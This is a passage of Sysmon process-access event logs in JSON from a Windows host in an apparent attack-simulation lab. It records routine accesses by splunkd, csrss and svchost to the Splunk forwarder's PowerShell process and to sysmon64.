AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4373,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.709\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-413B-5F2D-0000-0010902C0600}\r\nTargetProcessId: 4360\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.709","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-413B-5F2D-0000-0010902C0600}","TargetProcessId":"4360","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4374,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.709\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-413B-5F2D-0000-0010902C0600}\r\nTargetProcessId: 4360\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.709","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-413B-5F2D-0000-0010902C0600}","TargetProcessId":"4360","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4375,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.709\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.709","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4376,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.709\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.709","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4377,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.709\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.709","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4378,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.709\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.709","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4379,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.709\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.709","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4380,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.709\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.709","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4381,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT 